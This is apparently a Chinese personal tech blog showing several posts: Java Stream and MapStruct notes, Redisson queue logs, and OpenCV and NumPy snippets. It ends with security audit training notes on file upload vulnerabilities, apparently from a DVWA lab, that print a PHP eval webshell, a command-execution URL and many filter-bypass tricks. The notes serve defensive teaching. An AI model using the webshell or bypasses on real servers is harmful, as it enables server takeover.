2023-11-03T10:09:46.825+08:00 INFO 21480 --- [ main] c.e.r.listener.RedisDelayQueueRunner : (Redis延迟队列启动成功) 2023-11-03T10:09:47.039+08:00 INFO 21480 --- [-10.108.155.252] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring DispatcherServlet 'dispatcherServlet' 2023-11-03T10:09:47.040+08:00 INFO 21480 --- [-10.108.155.252] o.s.web.servlet.DispatcherServlet : Initializing Servlet 'dispatcherServlet' 2023-11-03T10:09:47.042+08:00 INFO 21480 --- [-10.108.155.252] o.s.web.servlet.DispatcherServlet : Completed initialization in 2 ms 2023-11-03T10:10:25.798+08:00 INFO 21480 --- [nio-8080-exec-4] c.e.r.utils.RedisDelayQueueUtil : (添加延时队列成功) 队列键:ORDER_PAYMENT_TIMEOUT,队列值:{orderId=100, remark=其他信息},延迟时间:10秒 2023-11-03T10:10:25.802+08:00 INFO 21480 --- [nio-8080-exec-4] c.e.r.utils.RedisDelayQueueUtil : (添加延时队列成功) 队列键:ORDER_TIMEOUT_NOT_EVALUATED,队列值:{orderId=200, remark=其他信息},延迟时间:20秒 2023-11-03T10:10:35.779+08:00 INFO 21480 --- [ Thread-2] c.e.r.handler.impl.OrderPaymentTimeout : 订单支付超时,自动取消订单 {orderId=100, remark=其他信息} 2023-11-03T10:10:45.860+08:00 INFO 21480 --- [ Thread-2] c.e.r.h.impl.OrderTimeoutNotEvaluated : 订单超时未评价,系统默认好评 {orderId=200, remark=其他信息}参考资料SpringBoot集成Redisson实现延迟队列 - 掘金 (juejin.cn)SpringBoot集成Redisson实现延迟队列_redssion延时队列订阅_刘鹏博.的博客-CSDN博客Maven Repository: org.redisson » redisson-spring-boot-starter (mvnrepository.com)【进阶篇】Redis实战之Redisson使用技巧详解 - 知乎 (zhihu.com)Table of Content · redisson/redisson Wiki · GitHub浅析 Redisson 的分布式延时队列 RedissonDelayedQueue 运行流程 - 掘金 (juejin.cn)Redisson分布式延时队列 RedissonDelayedQueue - 掘金 (juejin.cn)
2023年11月03日
25 阅读
0 评论
0 点赞
2023-10-12
Java Stream学习笔记
1.Stream介绍1.1 概述什么是Stream?java 8 新增的Stream配合同版本出现的 Lambda ,给我们操作集合(Collection)提供了极大的便利。Stream将要处理的元素集合看作一种流,在流的过程中,借助Stream API对流中的元素进行操作,比如:筛选、排序、聚合等。Stream对流的操作分类中间操作,每次返回一个新的流,可以有多个。(筛选filter、映射map、排序sorted、去重组合skip—limit)终端操作,每个流只能进行一次终端操作,终端操作结束后流无法再次使用。终端操作会产生一个新的集合或值。(遍历foreach、匹配find–match、规约reduce、聚合max–min–count、收集collect)Stream特性stream不存储数据,而是按照特定的规则对数据进行计算,一般会输出结果。stream不会改变数据源,通常情况下会产生一个新的集合或一个值。stream具有延迟执行特性,只有调用终端操作时,中间操作才会执行。1.2 Stream与传统遍历对比几乎所有的集合(如 Collection 接口或 Map 接口等)都支持直接或间接的遍历操作。而当我们需要对集合中的元素进行操作的时候,除了必需的添加、删除、获取外,最典型的就是集合遍历。例如现有一个需求:将list集合中姓张的元素过滤到一个新的集合中,然后将过滤出来的姓张的元素中,再过滤出来长度为3的元素,存储到一个新的集合中传统遍历import java.util.ArrayList; import java.util.List; public class Demo1List { public static void main(String[] args) { List<String> list = new ArrayList<>(); list.add("张无忌"); list.add("周芷若"); list.add("赵敏"); list.add("小昭"); list.add("殷离"); list.add("张三"); list.add("张三丰"); List<String> listA = new ArrayList<>(); for ( String s : list) { if (s.startsWith("张")) listA.add(s); } List<String> listB = new ArrayList<>(); for (String s: listA) { if (s.length() == 3) listB.add(s); } for (String s: listB) { System.out.println(s); } } }使用Stream写法import java.util.ArrayList; import java.util.List; public class Demo2Steam { public static void main(String[] args) { List<String> list = new ArrayList<>(); list.add("张无忌"); list.add("周芷若"); list.add("赵敏"); list.add("小昭"); list.add("殷离"); list.add("张三"); list.add("张三丰"); list.stream() .filter(name -> name.startsWith("张")) .filter(name -> name.length() == 3) .forEach(name -> System.out.println(name)); } }2.Stream的创建2.0 顺序流和并行流stream和parallelStream的简单区分: stream是顺序流,由主线程按顺序对流执行操作,而parallelStream是并行流,内部以多线程并行执行的方式对流进行操作,但前提是流中的数据处理没有顺序要求。例如筛选集合中的奇数,两者的处理不同之处:如果流中的数据量足够大,并行流可以加快处速度。除了直接创建并行流,还可以通过parallel()把顺序流转换成并行流2.1 通过 java.util.Collection.stream() 方法用集合创建流@Test public void testCreateStream(){ List<String> list = Arrays.asList("a", "b", "c"); // 创建一个顺序流 Stream<String> stream = list.stream(); System.out.println("创建顺序流:stream"); stream.forEach(x-> System.out.println(x)); // 创建一个并行流 Stream<String> parallelStream = list.parallelStream(); System.out.println("创建并行流:parallelStream"); parallelStream.forEach(x-> System.out.println(x)); }创建顺序流:stream a b c 创建并行流:parallelStream b c a2.2 使用java.util.Arrays.stream(T[] array)方法用数组创建流@Test public void testCreateStream(){ int[] array1={1,3,5,6,8}; IntStream stream1 = Arrays.stream(array1); stream1.forEach(x-> System.out.println(x)); String[] array2={"1","3","5","6","8"}; Stream<String> stream2 = Arrays.stream(array2); stream2.forEach(x-> System.out.println(x)); }2.3 使用Stream的静态方法:of()、iterate()、generate()@Test public void testCreateStream(){ Stream<Integer> stream1 = Stream.of(1, 2, 3); stream1.forEach(System.out::println); Stream<Integer> stream2 = Stream.iterate(0, (x) -> x + 3).limit(3); stream2.forEach(System.out::println); Stream<Double> stream3 = Stream.generate(Math::random).limit(3); stream3.forEach(System.out::println); }3.Stream使用/Stream流的常用方法在使用stream之前,先理解一个概念:Optional 。Optional类是一个可以为null的容器对象。如果值存在则isPresent()方法会返回true,调用get()方法会返回该对象。Stream流的常用方法分类:终结方法:返回值类型不再是Stream接口本身类型的方法,例如:forEach方法和count方法非终结方法/延迟方法:返回值类型仍然是Stream接口自身类型的方法,除了终结方法都是延迟方法。例如:filter,limit,skip,map,conat方法名称方法作用方法种类是否支持链式调用count统计个数终结方法否forEach逐一处理终结方法否filter过滤函数拼接是limit取用前几个函数拼接是skip跳过前几个函数拼接是map映射函数拼接是concat组合函数拼接是3.1 遍历/匹配(foreach、find、match)Stream也是支持类似集合的遍历和匹配元素的,只是Stream中的元素是以Optional类型存在的@Test public void testStream(){ List<Integer> list = Arrays.asList(7, 6, 9, 3, 8, 2, 1); // 遍历输出符合条件的元素 list.stream().filter(x -> x > 6).forEach(System.out::println); // 匹配第一个 Optional<Integer> findFirst = list.stream().filter(x -> x > 6).findFirst(); // 匹配任意(适用于并行流) Optional<Integer> findAny = list.parallelStream().filter(x -> x > 6).findAny(); // 是否包含符合特定条件的元素 boolean anyMatch = list.stream().anyMatch(x -> x > 6); System.out.println("匹配第一个值:" + findFirst.get()); System.out.println("匹配任意一个值:" + findAny.get()); System.out.println("是否存在大于6的值:" + anyMatch); }7 9 8 匹配第一个值:7 匹配任意一个值:8 是否存在大于6的值:true3.2 筛选(filter)@Test public void testStream(){ List<Integer> list = Arrays.asList(6, 7, 3, 8, 1, 2, 9); Stream<Integer> stream = list.stream(); stream.filter(x -> x > 7).forEach(System.out::println); }8 93.3 聚合(max、min、count)获取Integer集合中的最大/小值@Test public void testStream(){ List<Integer> list = Arrays.asList(7, 6, 9, 4, 11, 6); // 自然排序 Optional<Integer> max = list.stream().max(Integer::compareTo); Optional<Integer> min = list.stream().min(Integer::compareTo); // 自定义排序 Optional<Integer> max2 = list.stream().max(new Comparator<Integer>() { @Override public int compare(Integer o1, Integer o2) { return o1.compareTo(o2); } }); Optional<Integer> min2 = list.stream().min((o1, o2) -> o1.compareTo(o2)); System.out.println("自然排序的最大值:" + max.get()+",最小值:"+min.get()); System.out.println("自定义排序的最大值:" + max2.get()+",最小值:"+min2.get()); }自然排序的最大值:11,最小值:4 自定义排序的最大值:11,最小值:4获取String集合中最长/最低的元素@Test public void testStream(){ List<String> list = Arrays.asList("adnm", "admmt", "pot", "xbangd", "weoujgsd"); Optional<String> max = list.stream().max(Comparator.comparing(String::length)); Optional<String> min = list.stream().min(Comparator.comparing(String::length)); System.out.println("最长的字符串:" + max.get()); System.out.println("最短的字符串:" + min.get()); }最长的字符串:weoujgsd 最短的字符串:pot获取员工工资最高的人@Data class Person { private String name; // 姓名 private int salary; // 薪资 private int age; // 年龄 private String sex; //性别 private String area; // 地区 } @Test public void testStream(){ List<Person> personList = new ArrayList<Person>(); personList.add(new Person("Tom", 8900, 23, "male", "New York")); personList.add(new Person("Jack", 7000, 25, "male", "Washington")); personList.add(new Person("Lily", 7800, 21, "female", "Washington")); personList.add(new Person("Anni", 8200, 24, "female", "New York")); personList.add(new Person("Owen", 9500, 25, "male", "New York")); personList.add(new Person("Alisa", 7900, 26, "female", "New York")); Optional<Person> max = personList.stream().max(Comparator.comparingInt(Person::getSalary)); Optional<Person> min = personList.stream().min(new Comparator<Person>() { @Override public int compare(Person o1, Person o2) { return Integer.compare(o1.getSalary(), o2.getSalary()); } }); System.out.println("员工工资最大值:" + max.get().getSalary()); System.out.println("员工工资最小值:" + min.get().getSalary()); }员工工资最大值:9500 员工工资最小值:7000计算Integer集合中大于6的元素的个数@Test public void testStream(){ List<Integer> list = Arrays.asList(7, 6, 4, 8, 2, 11, 9); long count = list.stream().filter(x -> x > 6).count(); System.out.println("list中大于6的元素个数:" + count); }list中大于6的元素个数:43.4 映射(map、flatMap)映射,可以将一个流的元素按照一定的映射规则映射到另一个流中。分为map和flatMap:map:接收一个函数作为参数,该函数会被应用到每个元素上,并将其映射成一个新的元素。flatMap:接收一个函数作为参数,将流中的每个值都换成另一个流,然后把所有流连接成一个流。英文字符串数组的元素全部改为大写。整数数组每个元素+3@Test public void testStream(){ String[] strArr = { "abcd", "bcdd", "defde", "fTr" }; List<String> strList = Arrays.stream(strArr).map(String::toUpperCase).collect(Collectors.toList()); List<Integer> intList = Arrays.asList(1, 3, 5, 7, 9, 11); List<Integer> intListNew = intList.stream().map(x -> x + 3).collect(Collectors.toList()); System.out.println("每个元素大写:" + strList); System.out.println("每个元素+3:" + intListNew); }每个元素大写:[ABCD, BCDD, DEFDE, FTR] 每个元素+3:[4, 6, 8, 10, 12, 14]将两个字符数组合并成一个新的字符数组@Test public void testStream(){ List<String> list = Arrays.asList("m,k,l,a", "1,3,5,7"); List<String> listNew = list.stream().flatMap(s -> { // 将每个元素转换成一个stream String[] split = s.split(","); Stream<String> s2 = Arrays.stream(split); return s2; }).collect(Collectors.toList()); System.out.println("处理前的集合:" + list); System.out.println("处理后的集合:" + listNew); }处理前的集合:[m,k,l,a, 1,3,5,7] 处理后的集合:[m, k, l, a, 1, 3, 5, 7]3.5 规约(reduce)归约,也称缩减,顾名思义,是把一个流缩减成一个值,能实现对集合求和、求乘积和求最值操作。@Test public void testStream(){ List<Integer> list = Arrays.asList(1, 3, 2, 8, 11, 4); // 求和方式1 Optional<Integer> sum = list.stream().reduce((x, y) -> x + y); // 求和方式2 Optional<Integer> sum2 = list.stream().reduce(Integer::sum); // 求和方式3 Integer sum3 = list.stream().reduce(0, Integer::sum); // 求乘积 Optional<Integer> product = list.stream().reduce((x, y) -> x * y); // 求最大值方式1 Optional<Integer> max = list.stream().reduce((x, y) -> x > y ? x : y); // 求最大值写法2 Integer max2 = list.stream().reduce(1, Integer::max); System.out.println("list求和:" + sum.get() + "," + sum2.get() + "," + sum3); System.out.println("list求积:" + product.get()); System.out.println("list求和:" + max.get() + "," + max2); }list求和:29,29,29 list求积:2112 list求和:11,113.6 收集(collect)collect,收集,可以说是内容最繁多、功能最丰富的部分了。从字面上去理解,就是把一个流收集起来,最终可以是收集成一个值也可以收集成一个新的集合。collect主要依赖java.util.stream.Collectors类内置的静态方法。3.6.1 归集(toList、toSet、toMap)因为流不存储数据,那么在流中的数据完成处理后,需要将流中的数据重新归集到新的集合里。toList、toSet和toMap比较常用,另外还有toCollection、toConcurrentMap等复杂一些的用法。@Data class Person { private String name; // 姓名 private int salary; // 薪资 private int age; // 年龄 private String sex; //性别 private String area; // 地区 } @Test public void testStream(){ List<Integer> list = Arrays.asList(1, 6, 3, 4, 6, 7, 9, 6, 20); List<Integer> listNew = list.stream().filter(x -> x % 2 == 0).collect(Collectors.toList()); Set<Integer> set = list.stream().filter(x -> x % 2 == 0).collect(Collectors.toSet()); List<Person> personList = new ArrayList<Person>(); personList.add(new Person("Tom", 8900, 23, "male", "New York")); personList.add(new Person("Jack", 7000, 25, "male", "Washington")); personList.add(new Person("Lily", 7800, 21, "female", "Washington")); personList.add(new Person("Anni", 8200, 24, "female", "New York")); Map<?, Person> map = personList.stream().filter(p -> p.getSalary() > 8000) .collect(Collectors.toMap(Person::getName, p -> p)); System.out.println("toList:" + listNew); System.out.println("toSet:" + set); System.out.println("toMap:" + map); }toList:[6, 4, 6, 6, 20] toSet:[4, 20, 6] toMap:{Tom=Person{name='Tom', salary=8900, age=23, sex='male', area='New York'}, Anni=Person{name='Anni', salary=8200, age=24, sex='female', area='New York'}}3.7 排序(sorted)sorted,中间操作。有两种排序:sorted():自然排序,流中元素需实现Comparable接口sorted(Comparator com):Comparator排序器自定义排序员工按工资、年龄排序@Data class Person { private String name; // 姓名 private int salary; // 薪资 private int age; // 年龄 private String sex; //性别 private String area; // 地区 } @Test public void testStream(){ List<Person> personList = new ArrayList<Person>(); personList.add(new Person("Sherry", 9000, 24, "female", "New York")); personList.add(new Person("Tom", 8900, 22, "male", "Washington")); personList.add(new Person("Jack", 9000, 25, "male", "Washington")); personList.add(new Person("Lily", 8800, 26, "male", "New York")); personList.add(new Person("Alisa", 9000, 26, "female", "New York")); // 按工资升序排序(自然排序) List<String> newList = personList.stream().sorted(Comparator.comparing(Person::getSalary)) .map(Person::getName) .collect(Collectors.toList()); // 按工资倒序排序 List<String> newList2 = personList.stream().sorted(Comparator.comparing(Person::getSalary).reversed()) .map(Person::getName) .collect(Collectors.toList()); // 先按工资再按年龄升序排序 List<String> newList3 = personList.stream() .sorted(Comparator.comparing(Person::getSalary).thenComparing(Person::getAge)) .map(Person::getName) .collect(Collectors.toList()); // 先按工资再按年龄自定义排序(降序) List<String> newList4 = personList.stream().sorted((p1, p2) -> { if (p1.getSalary() == p2.getSalary()) { return p2.getAge() - p1.getAge(); } else { return p2.getSalary() - p1.getSalary(); } }).map(Person::getName).collect(Collectors.toList()); System.out.println("按工资升序排序:" + newList); System.out.println("按工资降序排序:" + newList2); System.out.println("先按工资再按年龄升序排序:" + newList3); System.out.println("先按工资再按年龄自定义降序排序:" + newList4); }按工资升序排序:[Lily, Tom, Sherry, Jack, Alisa] 按工资降序排序:[Sherry, Jack, Alisa, Tom, Lily] 先按工资再按年龄升序排序:[Lily, Tom, Sherry, Jack, Alisa] 先按工资再按年龄自定义降序排序:[Alisa, Jack, Sherry, Tom, Lily]参考资料Java Stream流(详解)_java stream()-CSDN博客【java基础】吐血总结Stream流操作_java stream流操作-CSDN博客Java 8 Stream | 菜鸟教程 (runoob.com)
2023年10月12日
36 阅读
0 评论
0 点赞
2023-10-12
MapStruct学习笔记
1.MapStruct介绍在现在多模块多层级的项目中,应用于应用之间,模块于模块之间数据模型一般都不通用,每层都有自己的数据模型。这种对象与对象之间的互相转换,目前都是使用get,set方法,或者使用自定义的Beans.copyProperties进行转换。使用get,set方式会使得编码非常的麻烦,BeanUtils.copyProperties的方式是使用反射的方式,对性能的消耗比较大。Mapstruct的性能远远高于BeanUtils,对象转换次数属性个数BeanUtils耗时Mapstruct耗时5千万次614秒1秒5千万次1536秒1秒5千万次2555秒1秒MapStruct是一个开源的基于Java的代码生成器,用于创建实现Java Bean之间转换的扩展映射器。使用MapStruct,我们只需要创建接口,而该库会通过注解在编译过程中自动创建具体的映射实现,大大减少了通常需要手工编写的样板代码的数量。2.maven项目使用MapStruct2.1 pom依赖<dependency> <groupId>org.mapstruct</groupId> <artifactId>mapstruct</artifactId> <version>1.5.0.Final</version> </dependency> <dependency> <groupId>org.mapstruct</groupId> <artifactId>mapstruct-processor</artifactId> <version>1.5.0.Final</version> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.18.12</version> </dependency>2.2 配置打包插件<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.1</version> <configuration> <source>17</source> <target>17</target> <annotationProcessorPaths> <path> <groupId>org.mapstruct</groupId> <artifactId>mapstruct-processor</artifactId> <version>1.5.0.Final</version> </path> </annotationProcessorPaths> </configuration> </plugin> </plugins> </build>2.3 创建实体类Source .java@Data public class Source { private Long id; private Date gmtCreate; private Date createTime; private Long buyerId; private Long age; private String userNick; private String userVerified; }Target.java@Data public class `Target { private Long id; private Date gmtCreate; private Date createTime; private Long buyerId; private Long age; private String userNick; private String userVerified; }2.4 创建映射接口定义一个接口,其中包含源类和目标类之间的映射方法。MapStruct将在编译时自动为这个接口生成实现import org.mapstruct.Mapper; import org.mapstruct.factory.Mappers; @Mapper public interface SourceTargetMapper { SourceTargetMapper INSTANCE = Mappers.getMapper(SourceTargetMapper.class); Target sourceToTarget(Source source); }2.5 测试映射接口@Test public void testMapStruct(){ Source source = new Source(); source.setId(1L); source.setGmtCreate(new Date()); source.setCreateTime(new Date()); source.setBuyerId(43252534643L); source.setAge(99L); source.setUserNick("mapstruct测试"); source.setUserVerified("ok"); System.out.println(source); Target target = SourceTargetMapper.INSTANCE.sourceToTarget(source); System.out.println(target); }运行结果Source{id=1, gmtCreate=Wed Oct 11 15:46:15 CST 2023, createTime=Wed Oct 11 15:46:15 CST 2023, buyerId=43252534643, age=99, userNick='mapstruct测试', userVerified='ok'} Target{id=1, gmtCreate=Wed Oct 11 15:46:15 CST 2023, createTime=Wed Oct 11 15:46:15 CST 2023, buyerId=43252534643, age=99, userNick='mapstruct测试', userVerified='ok'}3. @Mapping解决字段名不一致的问题@Mapping(target = "targetName", source = "sourceName"),此处的意思就是在转化的过程中,将Source的Target属性值赋值给sourceName的targetName属性。@Data public class Source { private String sourceName; } @Data public class Target { private String targetName; }import org.mapstruct.Mapper; import org.mapstruct.Mapping; @Mapper public interface SourceTargetMapper { @Mapping(target = "targetName", source = "sourceName") Target sourceToTarget(Source source); }4.String转日期&String转数字&忽略某个字端&给默认值等@Mapping(target = "createTime", source = "createTime", dateFormat = "yyyy-MM-dd") @Mapping(target = "age", source = "age", numberFormat = "#0.00") @Mapping(target = "id", ignore = true) @Mapping(target = "userVerified", defaultValue = "defaultValue-2")参考资料MapStruct使用指南 - 知乎 (zhihu.com)告别BeanUtils,Mapstruct从入门到精通 - 掘金 (juejin.cn)Maven中配置maven-compiler-plugin 插件和jdk 17版本 - 楼兰胡杨 - 博客园 (cnblogs.com)
2023年10月12日
46 阅读
0 评论
0 点赞
2023-10-04
opencv-python(cv2)——读取和保存中文路径图片
在使用python的opencv(cv2)的时候,碰到了读取中文路径的图片失败的问题。因为直接使用 cv2.imread(filename)并不支持中文路径。查询后记录下cv2能够读取和保存中文路径图片的python代码: import cv2 import numpy as np def cv_imread(file_path): cv_img = cv2.imdecode(np.fromfile(file_path,dtype=np.uint8),-1) return cv_img imgurl='测试.jpg' img1 = cv_imread(imgurl) cv2.imencode('.jpg', img1 )[1].tofile(imgurl)
2023年10月04日
212 阅读
0 评论
0 点赞
2023-10-04
Numpy:矩形框四个顶点顺时针排序
问题说明一个矩形有四个顶点,设计一个函数将其进行顺时针排序,并返回。代码主要的思路就是先对矩形的四个点,按x方向进行一次排序后分为两组顶点,前两个为一组Left,后两个为一组Right。然后对Left进行排序,确保y值大的在前面;对RIght进行排序,确保y值小的在前面。拼接Left与Right即满足要求。返回顺序左下、左上、右上、右下def order_points(pts): ''' sort rectangle points by clockwise ''' sort_x = pts[np.argsort(pts[:, 0]), :] Left = sort_x[:2, :] Right = sort_x[2:, :] # Left sort Left = Left[np.argsort(Left[:,1])[::-1], :] # Right sort Right = Right[np.argsort(Right[:,1]), :] return np.concatenate((Left, Right), axis=0)测试img = np.zeros((512, 512, 3), dtype=np.uint8) pts = np.array([[128,128],[256,256],[256,100],[128,256]], dtype=np.int32) pts = order_points(pts) print(pts)结果[[128 256] [128 128] [256 100] [256 256]]
2023年10月04日
120 阅读
0 评论
0 点赞
2023-09-26
源代码安全审计培训笔记及拓展
1.文件上传漏洞1.1 什么是文件上传漏洞文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录1.2 文件上传漏洞实例-一句话木马脚本获取webshell代码案例来自DVWA靶场的File Upload案例前端 Choose an image to upload: 后端接收php接口<?php if( isset( $_POST[ 'Upload' ] ) ) { // 拼接上传的文件的保存地址 $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 判断是否可以将目标文件写入到目标文件夹 if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>构造一句话木马脚本hacker.php并上传<?php @eval($_REQUEST['cmd']); phpinfo(); ?>上传该文件http://127.0.0.1/vulnerabilities/upload/通过URL访问该页面测试是否可以通过URL触发脚本执行http://127.0.0.1/vulnerabilities/upload/../../hackable/uploads/hacker.php即:http://127.0.0.1/hackable/uploads/hacker.php简单利用漏洞http://127.0.0.1/hackable/uploads/hacker.php?cmd=system("dir");进阶漏洞利用--使用中国蚁剑等工具获取webshell或者查看文件等添加数据源支持功能查看文件webshell1.3 产生文件上传漏洞的原因在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上。对于上传文件的后缀名(扩展名)没有做较为严格的限制。对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查。权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型((文件开始#!的shell脚本))的文件)对于web server上传文件或者指定目录的行为没有做限制。1.4 文件上传漏洞的攻击与防御方式1.4.1 前端限制可接收文件后缀原理在表单中使用onsumbit=checkFile()调用js函数来检查上传文件的扩展名。当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。代码function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }绕过方法这种限制很简单,通过浏览器F12很简单的修改文件后缀名就可以完成绕过检查,或者是讲木马修改后缀名后上传,通过改包工具修改上传。如果是JS脚本检测,在本地浏览器客户端禁用JS即可。可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现绕过。1.4.2 后端检查扩展名原理当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。代码:黑名单策略-文件扩展名在黑名单中的为不合法<?php if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } ?>代码:白名单策略-文件扩展名不在白名单中的均为不合法<?php if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } } ?>黑名单策略的绕过方法(更建议使用白名单策略)1.后缀名大小写绕过 用于只将小写的脚本后缀名(如php)过滤掉的场合,如php->PhP2.双写后缀名绕过 用于只将文件后缀名过滤掉的场合,例如"php"字符串过滤的; 例如:上传时将Burpsuite截获的数据包中文件名【evil.php】改为【evil.pphphp】,那么过滤了第一个"php"字符串"后,开头的’p’和结尾的’hp’就组合又形成了【php】。3.使用等价的后缀名上传,如php->phtml,(比较老的漏洞了,现在不一定生效)。通常,在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服务器都会用php解释器进行解析。其它绕过方法(能绕过白名单)-中间件攻击(☆)在一些Web server中,存在解析漏洞:1.老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析2.老版本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行(fastcgi会把这个文件当php看,不受空字节影响,但是检查文件后缀的那个功能会把空字节后面的东西抛弃,所以识别为jpg)5.apache1.x,2.x的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的。1.4.3 检查Content-Type原理HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改。常见类型文件后缀Mime类型说明.flvflv/flv-flash在线播放.html或.htmtext/html超文本标记语言文本.rtfapplication/rtfRTF文本.gif 或.pngimage/gif(image/png)GIF图形/PNG图片.jpeg或.jpgimage/jpegJPEG图形.auaudio/basicau声音文件.mid或.midiaudio/midi或audio/x-midiMIDI音乐文件.ra或.ram或.rmaudio/x-pn-realaudioRealAudio音乐文件.mpg或.mpeg或.mp3video/mpegMPEG文件.avivideo/x-msvideoAVI文件.gzapplication/x-gzipGZIP文件.tarapplication/x-tarTAR文件.exeapplication/octet-stream下载文件类型.rmvbvideo/vnd.rn-realvideo在线播放.txttext/plain普通文本.mrpapplication/octet-streamMRP文件(国内普遍的手机).ipaapplication/iphone-package-archiveIPA文件(IPHONE).debapplication/x-debian-package-archiveDED文件(IPHONE).apkapplication/vnd.android.package-archiveAPK文件(安卓系统).cabapplication/vnd.cab-com-archiveCAB文件(Windows Mobile).xapapplication/x-silverlight-appXAP文件(Windows Phone 7).sisapplication/vnd.symbian.install-archiveSIS文件(symbian平台).jarapplication/java-archiveJAR文件(JAVA平台手机通用格式).jadtext/vnd.sun.j2me.app-descriptorJAD文件(JAVA平台手机通用格式).sisxapplication/vnd.symbian.epoc/x-sisx-appSISX文件(symbian平台)绕过方法使用各种各样的工具(如burpsuite)强行篡改Header就可以,将Content-Type: application/php改为其他web程序允许的类型。1.4.4 文件头检查文件原理利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。常见文件头格式文件头TIFF (tif)49492A00Windows Bitmap (bmp)424DCAD (dwg)41433130Adobe Photoshop (psd)38425053JPEG (jpg)FFD8FFPNG (png)89504E47GIF (gif)47494638XML (xml)3C3F786D6CHTML (html)68746D6C3EMS Word/Excel (xls.or.doc)D0CF11E0MS Access (mdb)5374616E64617264204AZIP Archive (zip),504B0304RAR Archive (rar),52617221Wave (wav),57415645AVI (avi),41564920Adobe Acrobat (pdf),255044462D312E绕过方法给上传脚本加上相应的幻数头字节就可以,php引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行。(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)1.5 